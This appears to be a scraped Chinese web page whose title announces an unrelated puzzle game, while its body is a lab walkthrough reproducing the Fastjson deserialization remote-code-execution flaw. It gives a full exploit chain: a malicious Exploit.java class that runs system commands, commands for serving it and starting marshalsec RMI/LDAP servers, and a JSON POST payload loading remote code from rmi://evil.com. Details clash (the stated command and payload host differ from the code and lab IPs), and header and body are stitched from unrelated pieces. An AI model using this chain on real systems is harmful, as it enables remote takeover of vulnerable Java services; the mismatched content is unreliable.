1. 程式人生 > 遊戲 >國產劇情解謎遊戲《黑羊》正式公佈 Steam頁面上線

國產劇情解謎遊戲《黑羊》正式公佈 Steam頁面上線

一、參考連結

https://zeo.cool/2020/07/04/紅隊武器庫!fastjson小於1.2.68全漏洞RCE利用exp/

二、漏洞介紹

Fastjson是阿里巴巴公司開源的一款json解析器,其效能優越,被廣泛應用於各大廠商的Java專案中。fastjson於1.2.24版本後增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字串繞過白名單檢測,成功執行任意命令。

三、漏洞影響範圍

Fastjson < 1.2.68
Fastjson爆出的繞過方法可以通殺1.2.68版本以下所有

四、漏洞復現

以Fastjson1.2.24為例子,因為vulhub有現成的環境十分方便。

五、流程示意圖


主機A:存在fastjson反序列化漏洞的主機
主機C:為RMI/LDAP服務
主機B:為構造的惡意類(包含要執行的命令)
在整個遠端命令執行流程
1、黑客使用payload攻擊主機A(該payload需要指定rmi/ldap地址)
2、主機A引發反序列化漏洞,傳送了進行rmi遠端發放呼叫,去連線主機C
3、主機C的rmi服務指定載入主機B的惡意java類,所以主機A通過主機C的rmi服務最終載入並執行主機B的惡意java類
4、主機A引發惡意系統命令執行

六、復現流程

根據上圖流程和環境復現:
主機A: http://192.168.133.138:8090 (存在Fastjson漏洞主機)
主機B:

http://192.168.133.133:8888 (惡意java類服務)
主機C: rmi://192.168.133.133:9999 (遠端方法呼叫服務)
實際上主機B和C是一臺機器不同埠)

1、構造惡意方法

目標環境是openjdk:8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以簡單利用RMI進行命令執行。
首先編譯並上傳命令執行程式碼
使用如下payload:
其中touch /zydx777為系統命令,可以根據自己需求隨意修改
注意該檔名叫Exploit.java固定格式不能變

import java.lang.Runtime;
import java.lang.Process;

public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在主機B中使用javac命令編譯Exploit.java檔案,生成一個Exploit.class檔案

javac Exploit.java

然後在主機B啟一個http服務,中介軟體隨意,但是需要能訪問到Exploit.class檔案,這裡使用python3臨時啟動一個

python3 -m http.server --bind 0.0.0.0 8888

2、開啟遠端方法呼叫rmi服務

接下來在主機C開啟rmi服務
可以使用RMI或者LDAP的服務,將reference result 重定向到web伺服器(即檔案Exploit.class的存放位置)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.133.133:8888/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.133.133:8888/#Exploit" 9999

3、傳送payload

POST / HTTP/1.1
Host: 192.168.133.138:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

可見,命令touch /tmp/success已成功執行:

一隻小the bug